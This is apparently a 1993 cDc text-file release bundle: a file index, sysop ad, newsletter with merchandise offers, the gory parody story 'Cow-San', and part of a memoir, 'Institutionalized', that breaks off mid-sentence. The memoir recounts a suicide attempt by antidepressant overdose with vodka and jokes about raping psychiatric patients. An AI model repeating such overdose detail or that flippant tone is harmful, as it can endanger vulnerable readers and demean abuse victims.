(' ') ...presents to you CDC4_93.ZIP containing 10 new (' ')
(U) t-files for July, 1993 by Obscure Images, (U)
Allen Williams, Lady Carolin, Renee O'Willsie, Curtis Yarvin,
Franken Gibe, Erik Radmall, Havok Halcyon, Xibo, Omega,
Clifton Royston, and kEvin.
CDC4_93.ZIP also features cDc Global Domination #13 by Swamp Ratte',
BBS ads for the cDc Factory Direct Outlets and info file, and the cDc Index.
Best of all, it's available right here and now on this very system.
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cDc communications
Index
updated: 07/01/1993
Currently: 256 releases - Collect 'em all! Trade 'em with your friends!
# Title Author
_________________________________________________ ______________________
1. Gerbil Feed Bomb Swamp Rat
2. Wizardry Docs Swamp Rat
3. Wizardry Spells Swamp Rat
4. Rescue Raiders Docs Swamp Rat
5. Renegade Cows HAL 9000
6. Assembly Fun Sid Vicious
7. Slow Death Swamp Rat
8. Book of Cow Franken Gibe
9. Society Sucks Psychotic Opposition
10. P.E.A.C.E. Psychotic Opposition
11. Suicidal Tendencies-Join the Army (lyrics) Wasted Pandemonium
12. Metallica-Master of Puppets (lyrics) Swamp Rat
13. NPA List Franken Gibe
14. UNIX Bible Franken Gibe
15. Yellow Pages Vol.I Franken Gibe
16. A Fucked Life Swamp Rat
17. Gnu Christmas Story Franken Gibe
18. Bunny Lust Tippy Turtle
19. The Cat in the Hat Swamp Rat
20. Green Eggs & Ham Swamp Rat
21. The Cold Truth 2600
22. How to Card Shit, When You Live With Your 'rents L.E. Pirate
23. How the Grinch Stole Christmas Swamp Rat
24. EZ Destruction Dial Tone
25. Method of Destruction-USA for MOD (lyrics) Swamp Rat
26. The Phone Sex Scandal L.E. Pirate
27. Frankie's Fireside Phreak Primer Franken Gibe
28. Yellow Pages Vol.II Franken Gibe
29. Cow Chronicles #1 Franken Gibe
30. The Bovine Epic of Creation Franken Gibe
31. A Feature on MONEY - Today's Monster Psychedelic Warlord
32. Dirty Rotten Imbeciles-Crossover (lyrics) Swamp Rat
33. Fun With Traffic Lights Dial Tone
34. Dead Kennedys-Give Me Convenience...(lyrics) Suicidal Amoeba
35. Scarfing Suicidal Amoeba
36. On BLACK FLAG... Suicidal Amoeba
37. A Few Good Songs off of Eat Your Paisley Psychedelic Warlord
38. Area Code and Time Zone List Dial Tone
39. Fuck The World Swamp Rat
40. Sex With Satan (dist.) Psycoe
41. The Mentors-Up the Dose (lyrics) Mr. Drunkfux
42. Apple Shape Tables The Dark Static
43. Metallica-Kill 'Em All (lyrics) Swamp Rat
44. Mail Fraud L.E. Pirate
45. Beaming Dream: a poem Tequila Willy
46. Fun With Small Animals and Other Household Pets Sunspot
47. Hacking Into Hell The Raver
48. Evil Poetry: Vol. I The Raver
49. The Queen is Dead: a poem Sunspot
50. The Song of the Cow: a poem Psychedelic Warlord
51. The Day My Kid Turned Punk The Dark Static
52. Cross Of Iron 1.1 The Raver/editor
53. Cross Of Iron 1.2 The Raver/editor
54. Cross Of Iron 1.3 The Raver/editor
55. About Cross Of Iron #1 The Raver
56. The Prophecy of Cow Franken Gibe
57. History of the Bovinomicon The Raver
58. The Nameless Pasture The Raver
59. Interview With Neo-Nazi 'Ausderau' Psychedelic Warlord
60. Megadeth-so far, so good... so what! (lyrics) Swamp Rat
61. Bovine Death The Raver
62. Scotty's Tale of Sex and Death Racer X
63. Sesame St. Possession Swamp Rat
64. Death Angel-Frolic through the park (lyrics) Swamp Rat
65. Agnostic Front-Liberty & Justice For...(lyrics) Racer X
66. Dayglo Abortions-here today guano tomorrow(lyrics) Swamp Rat
67. Thrasher's Metallica Interview Part 1 Racer X
68. Thrasher's Metallica Interview Part 2 Racer X
69. Testament-The New Order (lyrics) Swamp Rat
70. The cDc compilation: volume one (Apple II/2 sides) Swamp Rat/editor
71. The *ONLY* Way To Get Telenet Thingies Tequila Willy
72. Toxik-World Circus (lyrics) (dist.) The Omen
73. Visions From The Last Crusade Psychedelic Warlord
74. The Camping Trip Franken Gibe
75. Metallica-...And Justice For All (lyrics) Swamp Rat
76. Institutionalized Necrovore
77. Held Captive Racer X
78. Danzig (lryics) Racer X
79. The True Story of Cult of the Dead Cow Psychedelic Warlord
80. ...a Slayer kind of day... G.A. Ellsworth
81. Trail of Blood Sunspot
82. Geek: The Saga Continues The Pusher
83. Lyrics to Both Youth Of Today Albums The Pusher
84. Big Black Interview G.A. Ellsworth
85. cDc core #1 The Pusher
86. Screwdriver Flippin' Sunspot
87. A Tale of Two Sexes Swamp Rat
88. Armageddon's Coming: a poem Sunspot
89. The cDc compilation: volume two (Apple II/2 sides) Swamp Rat/editor
90. Cow-San Necrovore
91. The Reel Way The Pusher
92. "Group Revue" The Pusher
93. Las Vegas Mutantz From Hell! The Pusher
94. Fighting - The Clean Way! The Pusher
95. Impresario: Malcom McLaren and the British New... The Pusher
96. Dead Kennedys-Plastic Surgery Disasters (lyrics) Necrovore
97. Twisted Reality Necrovore
98. On The Porch Swing Suzy Rust
99. Top Gun Don Howland
100. The cDc #100 BamBam File The cDc cultees
101. cDc core #2 The Pusher
102. FUGAZI lyrics G.A. Ellsworth
103. cDc core #2 1/2 The Pusher
104. Gun Control The Pusher
105. POetRIE Obscure Images
106. Dream Tripped Racer X
107. cDc core #3 The Pusher
108. The End Obscure Images
109. A Feeling of Electricity In the Air Jennifer Petkus
110. The Flesh Man Richard Avis
111. Jack and Jack Obscure Images
112. Beautiful Stories for Ugly Children #1 Krass Katt
113. The cDc compilation: volume three (Ap2/2 sides) Swamp Rat
114. cDc core #4 The Pusher
115. Bear Trap of Love Krass Katt
116. A Slight Miscalculation Bob Cram
117. Lost Love Egyptian Alchemist
118. A Moment In Time Obscure Images
119. Retrospective Rock The Pusher
120. The Bus Driver Scum
121. Ultra Trendies Psychedelic Warlord
122. David and Goliath: Goliath's Point of View Leper Messiah & Swamp R.
123. Beautiful Stories for Ugly Children #2 Dave Louapre
124. It Hurts and Won't Make You Better Obscure Images
125. Sunday Peter Flechette
126. Stud Muffin R0dent Tequila Willy
127. Double Feature The Dark Static
128. Death and The Bovine Lady Carolin
129. Credit Card Fraud Ideas L.E. Pirate
130. My Day With The Dentist Psychedelic Warlord
131. The Three Cows Lady Carolin
132. The Wild One Obscure Images
133. White Rodent's Short Story Lump White Rodent
134. cDc core #5 The Pusher
135. Trickledown Josh Whalen
136. The Coming of Angels Obscure Images
137. Mourning in America Steve Ross
138. Life Sentence The Pusher
139. Bert: The Poem Racer X
140. The Burn Turns Two Into One - Part 1 Obscure Images
141. Smothered Hope Obscure Images
142. Fatal Attraction for Real G.A. Ellsworth
143. Inject Me Obscure Images
144. Whose Morality? Tequila Willy
145. Sanctified Obscure Images
146. Mudhoney Interview G.A. Ellsworth
147. Dance of the Cow Akira
148. The Burn Turns Two Into One - Part 2 Obscure Images
149. Rural Hell THE NIGHTSTALKER
150. INJUSTICE FOR ALL: A Guide to U.S. Pot Laws Judy McGuire
151. Sex, Ecstasy and the Psychedelic Drugs R.E.L. Masters
152. cDc core #6 The Pusher
153. Excerpts from BLADE BARRIER Book #3 Dean Tetreault
154. The Jolly One The Usenet Oracle
155. No Experience Necessary The Pusher
156. The Happy Machine Obscure Images
157. Jack and Jack (revised) Obscure Images
158. That Dirty Beach Tequila Willy
159. Boredom and Innocence Obscure Images
160. Story of an Alternative Lifestyle The Pusher
161. A Kinder, Gentler Nation Tequila Willy
162. Until the Next Time Obscure Images
163. UPSetting Axiom Codex & Lazar
164. BEYOND GOOD AND EVIL - A Contemporary Interp... Tequila Willy
165. Winnie the Pooh - Part 1 A.A. Milne
166. Silent Applause Part 1 of 2 The Pusher
167. Silent Applause Part 2 of 2 The Pusher
168. Bank Fraud White Knight
169. Amerika's Most Wanted Lady Carolin
170. My Grey Matter Tequila Willy
171. Clockwork Obscure Images
172. Wet-Mount Slide Tequila Willy
173. Urban Womb EnTrOpY
174. Self Defense THE NIGHTSTALKER
175. Fuck You, Swamp Rat Swamp Rat
176. cDc core #7 The Pusher
177. Feed 'Em to the Lions! Tequila Willy
178. How Do I Love Thee? Suicidal Maniac
179. Hip-Hop Primer Birnbaum & Adler
180. Amazingly True Things #1 Swamp Rat
181. Life Lost; Prosperity Gained Suicidal Maniac
182. Woooaaahhh, Nelly! Tequila Willy
183. cDc core #8 The Pusher
184. It Looked Back at Me Tequila Willy
185. The Future Alien Hin
186. Hip-Hop Primer #2 Part 1 of 2 Mark Dery
187. Hip-Hop Primer #2 Part 2 of 2 Mark Dery
188. The Illusion of Motion Tequila Willy
189. My Circumcision Franken Gibe
190. The Greater of Two Evils Obscure Images
191. The Jesus Lizard Interview G.A. Ellsworth
192. Compact Disc Scam Tequila Willy
193. Butch Jane Delynn
194. SatanTrek Necrovore
195. Earth Goo Lady Carolin
196. Interesting Things to Do With a Scanner The Mad Hatter
197. Ruth Obscure Images
198. Some General Observations THE NIGHTSTALKER
199. Presumed Guilty Schneider, Flaherty
200. The cDc #200 Higgledy-Piggledy-Big-Fat-Henacious-
Mega-Mackadocious You-Can't-Even-Come-Close-So-
Jump-Back-K-B00MIDY-B00MIDY-B00M File Swamp Ratte'
201. One Wrong Move The Deth Vegetable
202. Monster Jennifer, or Celibacy Can Kill You Omega
203. The Briefing Reid Fleming
204. Life in General Video Vindicator
205. That Which Strikes Terror Into the Hearts of Men Lady Carolin
206. The Power of Art THE NIGHTSTALKER
207. F23 Obscure Images
208. A Visit to the Slaughterhouse Transderm-Nitro
209. Helmet Interview: July 17, 1992 G.A. Ellsworth
210. My Shit, and How to Strangle It Tequila Willy
211. Point of No Return Dave Ferret
212. The Krill File O.H. Krill
213. Smurf Impalement Tequila Willy
214. How to Break the Law Anonymous
215. Me As TV Franken Gibe
216. Amazingly True Things #2 Swamp Ratte'
217. Life in Wartime The Deth Vegetable
218. The Media and Campaign 1992 Lewis & Morgan
219. Sebadoh Interview: March 3, 1992 G.A. Ellsworth
220. A Child's Garden of Curses Lady Carolin
221. Sickness Franken Gibe
222. A Day in the Life of Debbie G1bs0n The Madwoman
223. The B!G Envelope Stuffing Scam Hanover Fiste
224. The Bird Obscure Images
225. Tequila Willy's Position Paper Reid Fleming & Omega
226. Simple Cryptology Dave Ferret
227. Big Ol' Heaping Pile of Shit Suicidal Maniac
228. ISDN: Fucking the Vacuum Cleaner Attachments Reid Fleming
229. The Evil Truth About Peter Pan Lady Carolin
230. The 2:00 O'Clock Bus Tequila Willy &
231. Sunday Night Inside the Net Obscure Images
232. Fred, the Boy Everyone Hated Allen Williams
233. Desert Road Dick Disaster Lady Carolin &
Renee O'Willsie
234. Hybrid Vigor Curtis Yarvin
235. Somethin' Franken Gibe
236. Easy Rider II Erik Radmall
237. The Fart of War Havok Halcyon
238. Clubbing Xibo (Mr. Coates)
239. Truckin' an' Fuckin' Omega
240. Condors, Ganja, Rah Rah Rah! Clifton Royston & kEvin
Bambi the Usurper
Also: cDc Global Domination Updates #1-13 Swamp Ratte'
The cDc compilations: volumes one-three Swamp Ratte'
[Apple II]
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April 1, 1993
HEY, SYSOPS!
Join the K-C0W PHORCE and run an Official cDc Global Domination Factory Direct
Outlet! Be a cheerleader for The cDc Way and get the files out! There is
nothing more noble you can do as a sysop than running a Factory Direct Outlet
(that doesn't involve crippled children.)! So jump on it and let's go!
What it is: K-C0W PHORCE is the group of sysops who run cDc Outlet boards.
It's not the same as cDc communications. cDc wants to make our files as widely
available as possible, so we started the Factory Direct Outlet (FDO) thing.
What FDO sysops should do: Make the cDc files available, old and new. Past
t-files are packed into ZIP archives in groups of 25, which currently range
from CDCV1.ZIP - CDCV9.ZIP (#1-225). New releases come in ZIP archives with
filenames like CDCx_93.ZIP, where "x" indicates the # of the release for the
year. For example, CDC493.ZIP would be the 4th release of 1993. All the files
need to be in a no-u/d-ratio directory for users to grab. It would probably be
good if you had the 25-file-ZIP-packs online instead of just individual files
for less hassle when downloading.
How to get the releases: The ZIP archives of old and new releases will be on
The Polka AE (806/794-4362, Entry:KILL) in Volume 2 first. Someone in cDc may
upload new releases to your board, but don't count on it. That's why sysops
should call The Polka AE once a month to check for new releases and download
the ZIP packs containing all the new files. The Polka AE is an easy and
hassle-free system, so calls should not take long.
Or, if you've got access to the Internet, you can get the files by FTP from
zero.cypher.com. This would be cheaper and faster, especially for non-US
people.
What do sysops get out of it?: First off, you'll get the satisfaction of
providing free information to people who want it. You also get a full-screen
ASCII BBS ad in all future cDc ZIP release packs which will go all over the
place. There's a message base on Demon Roach Underground BBS for FDO sysops
too.
How do you get involved?: Are you running a full-time, reliable board? Can you
set up a no-u/d-ratio file transfer area? Good deal. Call The Polka AE or
send Internet mail to S. Ratte and upload your full-screen ASCII BBS ad. No
cow heads or over-the-top cDc hype in the ad, please; leave that to the cDc
boards. A line about "cDc Global Domination Factory Direct Outlet - it's got
'em all" would be good, it's up to you. Either in the ad itself or in a
separate note, make sure to give your sysop handle for keeping-organized
purposes. NOTE: This is not the same as running a cDc board. To avoid
confusion, make sure you don't just say "cDc comm." in your ads on on the
board... or when signing your handle or anything like that. Like it says
above, stick with the "Global Domination Factory Direct Outlet" and everybody
will be happy.
That's it! From then on it's up to you, The Responsible Sysop, to keep up with
new cDc releases and their propagation in your area. Spread the word, get
everyone involved, and let's go go go!
S. Ratte'
sratte@cypher.com or sratte@mindvox.phantom.com
cDc/Editor and PhEar13zz L3@DeRrr
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[ x x ] cDc communications
\ / Global Domination Update
(' ') #12 - April 1st, 1993
(U)
Est. 1986
New gNu NEW gnU new GnU nEW gNu neW gnu nEw releases for April, 1993:
_________________________________/Text Files\_________________________________
221: "Sickness" by Franken Gibe. Paralyzed by thoughts. Rage! Fight! Dark!
222: "A Day in the Life of Debbie G1bs0n" by The Madwoman. The pop idol faces
her arch enemy on the fields of ninja combat and in the arms of love.
223: "The B!G Envelope Stuffing Scam" by Hanover Fiste. How to get money.
Make Sally Struthers proud of you.
224: "The Bird" by Obscure Images. Story 'bout a sad guy who laughs at birds.
It's depressing. Oi's a kooky guy.
225: "Tequila Willy's Position Paper" by Reid Fleming and Omega. Unknown to
most, Tequila Willy thew his hat in the ring for the 1992 presidential
election. Here's the paper detailing his positions on all the important
issues. Better luck in '96, eh?
226: "Simple Cryptology" by Dave Ferret. Introductory guide to cryptology
which also includes a good list of other sources to look into.
227: "Big Ol' Heaping Pile of Shit" by Suicidal Maniac. Buncha poems about
lots of things. Wacky.
228: "ISDN: Fucking the Vacuum Cleaner Attachments" by Reid Fleming. Intended
for _Mondo 2000_, this file drops science about everyone's favorite future
phone system.
229: "The Evil Truth About Peter Pan" by Lady Carolin. It's a whole mess of
things you and your puny little mind might not have noticed about this popular
kiddie (hah!) story.
230: "The 2:00 O'Clock Bus" by Tequila Willy and Bambi the Usurper. Geriatric
porn with some doggy flavor.
_____________________________/Other Stuff to Get\_____________________________
From: cDc communications/P.O. Box 53011/Lubbock, TX 79453
This is Swamp Ratte's stuff:
All the cDc t-files on disk by mail, for convenience sake! Specify
MS-DOS or Apple II format 3.5" disks. $3.00 cash.
cDc stickers! Same design as were flying around at HoHoCon, with the
scary-lookin' cow skull. k00l. Send a SASE and 50 cents for a dozen of
'em (or just send a dollar).
Weasel-MX tape! _Obvious_ 45-minute cassette. This is Swamp Ratte's
funk/punk-rock/hip-hop band. It's a mess, but fun. $3.00 cash.
cDc hat! Yeah, get yer very own stylin' black baseball cap embroidered
with the cDc file-header-type logo on the front in white. This isn't the
foam-and-mesh cheap kind of hat; it's a "6-panel" (the hat industry term)
quality deal. Roll hard with the phat cDc gear. $15.00 plus a buck for
postage.
_Swingin' Muzak_ compilation tape! An hour of rockin' tuneage from
Weasel-MX (all new for '93), Counter Culture, Acid Mirror, Truth or
Consequences, Grandma's V.D., and Sekrut Squirrel. Lotsa good, catchy,
energetic stuff for only $5.00 cash.
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From: FNORD! Publications/2660 Trojan Dr. #912/Green Bay, Wisconsin 54304-1235
This is Obscure Images' stuff:
FNORD! 'zine #1 & #4 - $2.00 Each
Shoggoth 912 #1 - $0.75
For some snarly techno grooves, send away for the new tape from Green
Bay's finest (and only) technorave sensation, I OPENING! IO-Illumination
Demo Tape (7 songs of joy) - $5.00
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From: Freeside Orbital Data Network/ATTN:dFx-HoHoCon-cDc/11504 Hughes Road #124
Houston, TX 77089
This is Drunkfux's stuff:
HoHoCon '92 T-Shirts : Black : XL : Elite : Stylish : Dope : Slammin'
Only $15 + $2 shipping ($2.50 for two shirts).
Your choice of either "I LOVE FEDS" or "I LOVE WAREZ" on front, where
"LOVE" is actually a red heart, ala "I LOVE N.Y." or "I LOVE SPAM."
On the back of every beautimus shirt is...
dFx & cDc Present
HOHOCON '92
December 18-20
Allen Park Inn
Houston, Texas
HoHoCon '92 VHS Video : 6 Hours : Hilariously Elite : $18 + $2 Shipping
Please make all checks payable to O.I.S. Free cDc sticker with every
order! w0w!
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From: Bill's Shirt Thing/P.O. Box 53832/Lubbock, TX/79453
This is Franken Gibe's stuff:
AIDS sucks! Order a catalog! Nifty t-shirts that make you happy.
Proceeds go to local AIDS Resource Center. Send a $0.29 stamp for the
cat'.
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From: Teach Me Violence magazine/61 East 8th St./Suite 202/New York, NY 10003
This is The Pusher's stuff:
Teach Me Violence 'zine:
Issue #1 (Mr. Bungle, COC, Murphy's Law)
Issue #2 (Helmet, Supertouch, Agnostic Front, American Standard)
Issue #3 (Faith No More, Chris Haskett, Cathedral, Iceburn, Venom)
$3.00 cash each
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From: A Day In The Life Of.../P.O. Box 94221/Seattle, WA 98124
This is Lady Carolin's stuff:
A Day In The Life Of... 'zine, free with two stamps.
Bi-monthly contact list of girlie bands/grrrl bands/female vocalists. $1.
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"cDc: savin' trees in '93"
Hiya once again, here's whassup:
NEW Internet FTP site: zero.cypher.com. This is Drunkfux and Louis Cypher's
chilly-the-most deal. Login as "anonymous" and get all the cDc stuph fast fast
fast.
NEW Official cDc Global Domination Factory Direct Outlets:
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237: "The Fart of War" by Havok Halcyon. A detailed story of one man's
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Cow-San
by Necrovore
>>> A CULT Publication......1988 <<<
-cDc- CULT OF THE DEAD COW -cDc-
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COW-SAN (Pronounced "Kow-Sahn")
"My prophecy upon this wasted earth and upon the corrupt creation that squats
upon its ruined surface is: THOU SHALT KILL."
-from "Jehova on War" by Robert DeGrimston aka Christ
The sun dawned over Yokishawa, a small village in the northern reaches
of feudal Japan. Shimmering beams of light glanced off of the icy peaks of
Mount Fujiwara. These beams struck the hairless face of Okisama, a fat old
merchant of Yokishawa. With a sigh, Okisama stood up from his pallet and
rubbed his temples. A new day had begun.
Okisama got dressed and ate his usual breakfast, a bowl of rice. He
then left his home for Shangsei, the merchant bazaar where he sold his wares.
Today he decided to try his hand at mechanical rice pickers, a new device
conceived by his first son, Shumiara. At present, all the rice of Japan was
picked by the peasant workforce. With this new invention, the peasants could
stop picking rice and do more productive things, like building new towns.
As Okisama strode down Sumi street he saw an unusual thing, a bald man
in white robes. This man had skin brown from the sun and wore strange sandals.
Around his neck hung a small brown pouch. As Oki continued down the street,
it became apparent to him that he was being followed by the odd-looking bald
man. At long last Oki whirled around to confront the old man. "Who are you
and why are you following me, outlander?" said Okisama in Japanese.
The old man said in broken Japanese, "I am Ghandivi, High Priest of the
Cult of the Dead Cow. I am following you because it is my fate."
Okisama cried, "Leave me be, smelly old man!"
The old man fondled the pouch at his neck and said, "That I cannot do;
it is my fate." In utter disgust Okisama turned his back and continued on his
path, looking over his shoulder every once in a while. He thought to himself
that the man's pouch smelled of vomit.
As Okisama was nearing the Umiyama bridge he saw a large contingent of
armed warriors jogging in procession. He looked back. The old man was still
there. As he crossed the bridge he stepped to the side to avoid being run over
by the ruthless warriors. Ghandivi, being a stranger, was knocked into the
river by the procession. Okisama chuckled to himself, finally rid of the old
man.
Later that day, while in the bazaar, Okisama smelled that familiar
vomit smell again. He had been rather unsuccessful at selling his son's
mechanical rice picker. "I'll buy one," said a rattled voice in broken
Japanese. Okisama whirled and say Ghandivi standing before him, a grin on his
face.
"Why do you keep following me?" said Okisama.
"It is..." started Ghandivi.
"Yeah, it's your fate. Well, fate on this!" cried Okisama as he belted
Ghandivi, who promptly doubled over, making gagging noises. "Now leave me be!"
screamed Okisama as he fled the bazaar for home.
Along the way home he saw strange prints on the dusty road. Obviously,
they belonged to a four-legged beast, thought he. How odd. When Okisama
reached home he settled down in despair. He had sold no mechanical rice
pickers and had been dogged by some crazy old outlander. He lifted a cup of
spiced tea to his mouth. "Hello, most honorable dad," said Shumiara. Okisama
looked up to his sons' face and threw up. Shumiara's ears were long and pointy
now, not the way that they had been when he left this morning.
"What has happened to your ears, son?" uttered a shocked Okisama.
"Well, most honorable dad, I was making a few mods to my mechanical
rice picker when, um, it got a hold of my ears and, um, sort of pulled them."
Okisama said, "But why do you not yell in pain, my son? Does it not
hurt?"
"Oh no, most..." started Shumiara.
"Knock it off with that 'most honorable dad' stuff, most honorable
son." interrupted Okisama.
"Well, at first it did hurt. Blood spurted everywhere. I was
screaming. And then, I felt something warm and wet lap upon my torn ears. I
looked up and saw a strange looking beast licking my ears. 'It kinda mooed and
shit.' When it was done, my ears were unharmed - looking and were pointy, as
they are now."
"How unusual, I saw strange bestial tracks on the way home from the
bazaar," said Okisama. The two continued talking as they ordered out to
Domino's Rice for dinner.
"That'll be fifty yen, bub," said the Domino's delivery man.
"Here you are, most honorable delivery man," uttered Okisama as he
handed the delivery man fifty yen.
"What? No tip? Well, I hope the Noid makes your rice cold!"
Okisama slammed the rice paper door shut in utter disgust. Somewhere
off in the dark distance, he heard a strange noise. The father glanced at
Shumiara who said that it was of the same kind that he had heard earlier that
day. Okisama opened the rice paper door again and stared furtively out into
the darkness. He saw nothing. He closed the door and father and son began
eating rice.
That night, after Shumiara had gone off to bed, Oki was reading the
Nippon Times by candlelight while in bed. Events repeated themselves as they
often do. There was a strange mooing sound off in the distance. Oki shuddered
in fear and looked towards the open window... blackness. He then went back to
reading the Nippon Times (a fine rice paper journal scribed in a strange red
substance (almost rust colored, in fact), not wholly unlike dried blood. A
scant few moments later Oki heard a scrambling outside his window. As he
leapt from under his covers he smelled a familiar scent, a scent of vomit. A
familiar bald head popped up. Oki screamed and fainted dead away. From else-
where in the house we hear, "Whadda ma-ma-matta, da-da-dada?!?" as Shumiara
scuttled into his most honorable father's room. He too screamed when he saw
the horrid visage of Ghandivi.
"It is my fate," uttered Ghandivi. Shumiara lapsed into blackness...
When Oki awoke he found himself in his own private hell. Stretched
between two great bamboo poles was he. Below him was an immense vat of boiling
oil. Above him, whisps of smoke filtered out through a small opening in the
thatched roof. Where was he?
"Ah, so you have awakened?" said a familiar voice. Oki swung his head
over and met the solemn gaze of Ghandivi. Again, Oki screamed. Ghandivi was
as he always was, save for one thing; he had the lower torso of a bovine
creature. Oki was sweating profusely. "Ah, poor merchant man of tyrannous
descent, why have I brought you here? Indeed, a question that most obviously
looms within the narrow confines of your mind at this very moment in time.
I am the High Priest of the Holy Order of the Dead Cow. In the beginning,
there was Cow. Now, that time has passed. Thus, the time is nigh to reinit-
iate the belief of Cow, to revive her essence, to convert the unfaithful!"
Okisama twitched nervously as Ghandivi continued his sermon. "I am to begin
the Revelations of The Bovine. I am Ghandivi, the Harbinger of Death!"
Ghandivi began to stroll (if you can call it that) around the great vat
of bubbling oil. Oki coughed as noxious vapors wafted past his nose on their
ascent to the vast cosmos above. "Smile, Okisama, for you are the Chosen One.
You, and only you, shall be the first sacrifice to the Holy Cow. Your son,
on the other hand, shall be sacrificed before you to Thrax, Roach from Hell(!).
Smile, Oki, yes smile. It is a great honor we confer upon you."
Ghandivi snapped his fingers and swatted a nearby fly with his hairy
tail. A rice paper door opened and two large men of Arabic descent ushered in
Oki's son, Shumiara. The men, garbed in robes blacker than the night sky,
roughly deposited Shumiara in a ruined mass before Ghandivi, the Exalted One.
"Yes, your son will meet one of the Holy Cow's enemies and perish. You shall
watch in ecstasy as he dies for Thrax. And then you, fat hong, shall die for
Cow; for Cow is Reality, and Reality is Death. You shall become the first
homorealis to stalk the vast, ectoplasmic cosmos." Again, the snap of fingers.
The two Arabs silently lifted the unconscious form of Shumiara and tied
him to a pair of bamboo poles. Directly in front of his limp body was a grated
well. As soon as Shumiara was in place, Ghandivi grinned and said, "Awaken
him." One of the two Arabs struck Shumiara with a hairy fist. The resounding
thud of impact almost echoed throughout the secret temple. Shumiara moaned,
and the arab hit him again, this time with a backhand. Shumiara groaned as he
opened his eyes. Blood ran from his puffed lips. At this time Oki began to
whimper. "Silence!" howled Ghandivi. The two Arabs joined Ghandivi at the
far side of the chamber. "Let the ceremonies begin! Joy, Okisama, feel the
heartfelt joy as Thrax is satisfied!"
About this time a strange scuttling could be heard. In mere moments,
thousands of roaches began pouring outwards from the grated well, swarming onto
the body of Shumiara. Screams filled the night air bringing chill to the heart
of Oki. Roaches clambered all over the boy's body and fed upon his flesh.
Blood began to flow. The ravenous insects crawled into his ears and ate at his
brain. They crawled into his pants and devoured at his membranous member.
They entered his body through passages not meant to be. Shumiara's abdomen
burst open. Thousands of roaches, their soft carapaces covered in blood,
flowed outwards; a stream for Thrax. The roaches began to strip Shumiara's
dead body of its flesh. Oki began to cry out in anguish as his son was
devoured. Ghandivi smiled in pleasure. The Arabs looked on grimly. In mere
minutes, a damp skeleton hung where once hung Shumiara, the son of Okisama.
Oki retched violently. Vomit spewed forth into the hot oil causing great gusts
of putrid smoke to rise. The roaches disappeared back into their insectoid
hell. Okisama, vomit still dribbling down his hairless chin, moaned, "Ah God,
why..urp..me?"
"Hah. Why YOU? Because you are what I term to be a crucifictionist.
You will gladly crucify others, so to speak, to help yourself. That is
unacceptable. Thus, you have been chosen for sacrifice to the Cow. She will
chew upon her cud as she watches you die for Her." intoned Ghandivi. "Now, let
the joyous celebrations of Cow begin!"
With that, the two Arabic men strode towards Oki, who, at the sight of
them approacing, screamed once more. During his vocal ensemble, Oki retched
again. This time, more violently then before. His stomach contents flew
forth, embracing the putrid air of the secret temple. Ghandivi laughed
maniacally. The two Arabic servants snickered. When they reached their
destination, the poles upon which Oki was bonded; the men unsheathed their
tulwars and swung them around in anticipation of the events soon to begin.
Ghandivi clapped his hands twice. The sharp blades struck the thongs that held
Okisama suspended above the vat of boiling oil. Oki screamed as he fell down-
wards into the bubbling inferno of the iron vat. The screams ended as abruptly
as they began. Oki's flesh melted, separated from his bone by the heated oil.
Hair came off in mats from his head and floated in the turbulent oil for mere
seconds before it burned up. The oil bubbled violently as the body of Oki was
burned into nothingness. Final peace.
This file is dedicated to the Process Church of the Final Judgement, a
bunch a English death freaks who tried, and yet, failed. Bad planning.
_______________________________________________________________________________
Behavior Modification.....806/793-9462 The Dead Zone.............214/522-5321
Demon Roach Underground...806/794-4362 Dragonfire Private........609/424-2606
Question Authority........715/341-6516 Pure Nihilism.............517/337-7319
Tequila Willy's...........209/526-3194 The Metal AE..............201/879-6668
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INSTITUTIONALIZED
by Necrovore
(formerly The Raver)
>>> A CULT Publication......1988 <<<
-cDc- CULT OF THE DEAD COW -cDc-
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INSTITUTIONALIZED 3/22/88 Brief introduction by the author
First of all, I have something that I would like to say before I get on
with this file. Now I'm sure you know how common it has become for parents to
throw their kids into institutions. Just some of the reasons are drug abuse,
uncontrollable behavior, and suicide. This file was written from experience.
I was thrown into the psycho ward of the North Carolina Baptist Hospital for
all three of those reasons. But that was two years ago. Now I am not mentally
ill. Nay, I just had my own fucking share of problems. A lot of my friends
have had this same kind of experience happen to them, too. This file details
how I whiled away my lovely three month vacation with crazies.
There is also a bit of case history thrown in so that you will under-
stand that there is no k-k00l d00d fabrication involved. This is not a joke.
I don't want you to kill yourself. It's no fun (hah). And just because I make
mention of attempting to kill myself while listening to Metallica does not mean
I am putting down Metallica. On the contrary, I worship Metallica (Jaymz is
fuckin God). And if you laugh at me and call me a dumbshit then by all means,
go fuck yourself. I don't need your sympathy or your fucking inane insults.
One last note. If you have read The Blade's file on getting people to
commit suicide then I have this to say: ha ha, it's utter bullshit. If you
were to walk up to me and say "Kill yourself" or if you were to rag on me with
such lovely phrases as "Your sister fucks dogs" then I would crack a smile and
proceed to rip your goddamned face off (then I'd eat it). So take note, The
Blade's file is filled with bigotry, stupidity, and racist attitudes. How can
you view a person like that as cool? Fuck off Blade and move to fucking
East Germany where they'll actually fall all over themselves for you.
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NOTE: Now I've heard all those stories about white lights at then end of black
tunnels and all, but I never experienced that (I was clinically dead for
fifteen seconds). But then I've also heard that you don't get that experience
when your system's loaded with drugs... and I was loaded.
Institutions are fun places. There are all those dudes in white and
lovely bitches to rape. And don't forget about all the people who are whacked
out of their skull. How can you make your all-expenses paid visit more fun?
Why, read on..
As I have said, I was institutionalized for a period of three months
(this is about the time that I left the telecom world (then known under a
different handle) and almost made my exit from life. Yeah, I can still
remember the day I tried to end my life. It was, to say the least, bizarre.
I had just finished a transfer with some dude up in Oregon and was feelin'
pretty bad. The home scene had deteriorated to where I thought death would be
a fuckin vacation. After thoroughly ripping my room up I took 10 lethal doses
of anti-depressants and drunk a lot of good old Absolut vodka. I then kranked
up the most appropriate tune, "Fade to Black" by Metallica. When I started
zoning out I thought "Hey man, what the fuck am I doing!? My life may suck but
there has to be something worth living for." I then called the hospital for an
ambulance and, when on board, I went comatose. My whore mom told me that when
we got to the hospital I walked out of the ambulance and into the emergency
room and fell on my face. My heart had stopped and I was no longer breathing.
Now my whore mom also told me that it took the docs (6 of 'em no less) about 15
hours to make sure I'd stay alive. I was in a coma for three days and lemme
tell ya, it's no fun waking up in ICU (Intensive Care Unit). I mean it's no
fucking fun. Tubes up yer ass and down yer throat. Fuckin gagville. I was
then in recovery for three days with 24-hour supervision (like I was stupid
enough to try again). During these three days I was real freaked... I was real
surprised at what I had done and almost in a good mood. Real weird. I did
have the bizarre privilege of watching a code blue (death or dying patient) in
progress. It was kinda neat. Anyways, I was then taken to Hell (AKA the
psycho ward). This is about where the hell began.
I was fuckin full of hatred for about a week. I was addressing all
